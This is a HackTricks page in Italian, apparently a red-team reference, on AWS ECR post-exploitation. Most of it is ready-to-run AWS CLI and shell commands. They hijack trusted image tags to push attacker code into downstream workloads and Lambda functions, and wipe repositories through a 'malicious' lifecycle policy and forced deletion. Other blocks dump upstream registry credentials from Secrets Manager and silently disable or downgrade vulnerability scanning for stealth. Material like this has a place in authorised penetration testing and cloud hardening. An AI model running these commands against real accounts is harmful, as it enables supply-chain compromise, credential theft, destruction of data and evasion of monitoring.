AWS - ECR Post Exploitation

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks

ECR

Per maggiori informazioni consulta

AWS - ECR Enum

Login, Pull & Push

# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account

# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list

# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL

# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest

# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'

## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"

Dopo aver scaricato le immagini dovresti controllarle per informazioni sensibili:

Docker Forensics - HackTricks

Sovrascrivere un Trusted Tag via ecr:PutImage (Tag Hijacking / Supply Chain)

Se i consumer effettuano il deploy per tag (per esempio stable, prod, latest) e i tag sono mutabili, ecr:PutImage può essere usato per rindirizzare un tag attendibile verso contenuti controllati dall’attaccante caricando un manifest dell’immagine sotto quel tag.

Un approccio comune è copiare il manifest di un tag già controllato dall’attaccante (o un digest) e sovrascrivere il tag attendibile con esso.

REGION=us-east-1
REPO="<repo_name>"
SRC_TAG="backdoor"   # attacker-controlled tag already present in the repository
DST_TAG="stable"     # trusted tag used by downstream systems

# 1) Fetch the manifest behind the attacker tag
MANIFEST="$(aws ecr batch-get-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-ids imageTag="$SRC_TAG" \
--query 'images[0].imageManifest' \
--output text)"

# 2) Overwrite the trusted tag with that manifest
aws ecr put-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-tag "$DST_TAG" \
--image-manifest "$MANIFEST"

# 3) Verify both tags now point to the same digest
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text

Impatto: qualsiasi workload che effettua il pull di .../$REPO:$DST_TAG riceverà contenuto scelto dall’attaccante senza alcuna modifica a IaC, Kubernetes manifests o task definitions.

Esempio di consumatore a valle: Lambda Container Images che si aggiornano automaticamente al cambio del tag

Se una funzione Lambda è distribuita come container image (PackageType=Image) e utilizza un ECR tag (es., :stable, :prod) invece di un digest, sovrascrivere quel tag può trasformare una manomissione della supply chain in code execution inside the Lambda execution role una volta che la funzione viene aggiornata.

Come enumerare questa situazione:

REGION=us-east-1

# 1) Find image-based Lambda functions and their ImageUri
aws lambda list-functions --region "$REGION" \
--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
tr '\t' '\n' | while read -r fn; do
img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)"
[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img"
done

# 2) Check whether a function references a mutable tag (contains ":<tag>")
# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.

How refresh often happens:

  • CI/CD o GitOps chiamano regolarmente lambda:UpdateFunctionCode (anche con la stessa ImageUri) per forzare Lambda a risolvere di nuovo il tag.
  • L’automazione event-driven ascolta gli eventi immagine di ECR (push/aggiornamenti tag) e avvia una Lambda/automazione di aggiornamento.

Se puoi sovrascrivere il tag trusted e esiste un meccanismo di refresh, la successiva invocazione della funzione eseguirà attacker-controlled code, che potrà quindi leggere le variabili d’ambiente, accedere a risorse di rete e invocare le API AWS usando il ruolo Lambda (per esempio, secretsmanager:GetSecretValue).

ecr:PutLifecyclePolicy | ecr:DeleteRepository | ecr-public:DeleteRepository | ecr:BatchDeleteImage | ecr-public:BatchDeleteImage

Un attacker con una qualsiasi di queste autorizzazioni può creare o modificare una lifecycle policy per cancellare tutte le immagini nel repository e poi eliminare l’intero repository ECR. Questo causerebbe la perdita di tutte le immagini dei container memorizzate nel repository.

# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json

# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json

# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force

# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force

# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

Exfiltrate le credenziali dei registri upstream da ECR Pull‑Through Cache (PTC)

Se ECR Pull‑Through Cache è configurato per registri upstream autenticati (Docker Hub, GHCR, ACR, ecc.), le credenziali upstream vengono memorizzate in AWS Secrets Manager con un prefisso di nome prevedibile: ecr-pullthroughcache/. Gli operatori a volte concedono agli amministratori ECR un ampio accesso in lettura a Secrets Manager, permettendo credential exfiltration e il riutilizzo al di fuori di AWS.

Requisiti

  • secretsmanager:ListSecrets
  • secretsmanager:GetSecretValue

Enumerare i secret PTC candidati

aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text

Dump dei secrets scoperti e analisi dei campi comuni

for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
aws secretsmanager get-secret-value --secret-id "$s" \
--query SecretString --output text | tee /tmp/ptc_secret.json
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done

Opzionale: verificare leaked creds contro l’upstream (read‑only login)

echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io

Impatto

  • La lettura di queste voci di Secrets Manager fornisce credenziali riutilizzabili del registry upstream (username/password o token), che possono essere sfruttate al di fuori di AWS per pullare immagini private o accedere a repository aggiuntivi a seconda delle autorizzazioni upstream.

FurtivitĂ  a livello di registry: disabilitare o ridurre lo scanning tramite ecr:PutRegistryScanningConfiguration

Un attaccante con permessi ECR a livello di registry può ridurre silenziosamente o disabilitare lo scanning automatico delle vulnerabilità per TUTTI i repository impostando la configurazione di scanning del registry su BASIC senza alcuna regola scan-on-push. Questo impedisce che i nuovi push di immagini vengano scansionati automaticamente, nascondendo immagini vulnerabili o malevole.

Requisiti

  • ecr:PutRegistryScanningConfiguration
  • ecr:GetRegistryScanningConfiguration
  • ecr:PutImageScanningConfiguration (opzionale, per-repo)
  • ecr:DescribeImages, ecr:DescribeImageScanFindings (verifica)

Downgrade dell’intero registry a manuale (nessuna scansione automatica)

REGION=us-east-1
# Read current config (save to restore later)
aws ecr get-registry-scanning-configuration --region "$REGION"

# Set BASIC scanning with no rules (results in MANUAL scanning only)
aws ecr put-registry-scanning-configuration \
--region "$REGION" \
--scan-type BASIC \
--rules '[]'

Test con un repo e un’immagine

acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test

# Verify no scan ran automatically
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true

Opzionale: degradare ulteriormente a livello di repository

# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
--region "$REGION" \
--repository-name "$repo" \
--image-scanning-configuration scanOnPush=false

Impatto

  • I nuovi push di immagini su tutto il registro non vengono scansionati automaticamente, riducendo la visibilitĂ  di contenuti vulnerabili o dannosi e ritardando il rilevamento fino all’avvio di una scansione manuale.

Riduzione del motore di scansione a livello di registro via ecr:PutAccountSetting (AWS_NATIVE -> CLAIR)

Riduci la qualità del rilevamento delle vulnerabilità su tutto il registro passando il motore di scansione BASIC dal valore predefinito AWS_NATIVE al motore legacy CLAIR. Questo non disabilita le scansioni ma può cambiare materialmente i risultati/copertura. Combinalo con una configurazione di scansione del registro BASIC senza regole per rendere le scansioni esclusivamente manuali.

Requisiti

  • ecr:PutAccountSetting, ecr:GetAccountSetting
  • (Opzionale) ecr:PutRegistryScanningConfiguration, ecr:GetRegistryScanningConfiguration

Impatto

  • Impostazione del registro BASIC_SCAN_TYPE_VERSION su CLAIR, cosĂŹ le successive scansioni BASIC verranno eseguite con il motore degradato. CloudTrail registra la chiamata API PutAccountSetting.

Passaggi

REGION=us-east-1

# 1) Read current value so you can restore it later
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true

# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR

# 3) Verify the setting
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION

# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true

# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE

Scansiona immagini ECR per vulnerabilitĂ 

#!/bin/bash

# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images

region=<region>
profile=<aws_profile>

registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')

# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com

while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks